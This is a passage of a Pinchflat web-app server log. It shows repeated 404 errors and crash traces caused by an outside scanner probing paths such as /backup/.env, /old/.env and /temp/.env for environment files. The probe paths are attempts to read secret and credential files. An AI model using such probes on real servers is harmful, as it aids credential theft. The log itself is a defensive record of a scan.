Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBjTeGWNj1WwAAdMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9750.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBjTeGWNj1WwAAdMC"} ], scheme: :http, (truncated) 15:22:01.494 [info] GET /backup/.env 15:22:01.494 [debug] QUERY OK source="settings" db=0.0ms idle=709.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.494 [debug] QUERY OK source="settings" db=0.0ms idle=471.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.494 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:01.494 [error] #PID<0.9752.0> running PinchflatWeb.Endpoint (connection #PID<0.9751.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /backup/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9751.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47032}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9752.0>, params: %{}, path_info: ["backup", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backup/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBkLteGeiXhwAAdNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9751.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47032}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9751.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47032}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9752.0>, params: %{}, path_info: ["backup", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backup/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBkLteGeiXhwAAdNC"} ], (truncated) 15:22:01.729 [info] GET /backups/.env 15:22:01.730 [debug] QUERY OK source="settings" db=0.0ms idle=471.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.730 [debug] QUERY OK source="settings" db=0.0ms idle=471.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.730 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:01.730 [error] #PID<0.9754.0> running PinchflatWeb.Endpoint (connection #PID<0.9753.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /backups/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backups/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9753.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9754.0>, params: %{}, path_info: ["backups", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backups/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBlD8kq0smWUAAdOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9753.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backups/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9753.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47046}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9754.0>, params: %{}, path_info: ["backups", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backups/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBlD8kq0smWUAAdOC"} (truncated) 15:22:01.967 [info] GET /old/.env 15:22:01.967 [debug] QUERY OK source="settings" db=0.0ms idle=473.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.967 [debug] QUERY OK source="settings" db=0.0ms idle=473.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.967 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:01.967 [error] #PID<0.9756.0> running PinchflatWeb.Endpoint (connection #PID<0.9755.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /old/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9755.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9756.0>, params: %{}, path_info: ["old", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/old/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBl8hSPSNGWAAAdPC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9755.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9755.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9756.0>, params: %{}, path_info: ["old", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/old/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBl8hSPSNGWAAAdPC"} ], scheme: :http, sc (truncated) 15:22:02.205 [info] GET /temp/.env 15:22:02.205 [debug] QUERY OK source="settings" db=0.1ms idle=684.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.205 [debug] QUERY OK source="settings" db=0.0ms idle=475.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:02.205 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:02.205 [error] #PID<0.9758.0> running PinchflatWeb.Endpoint (connection #PID<0.9757.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /temp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /temp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/temp/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: 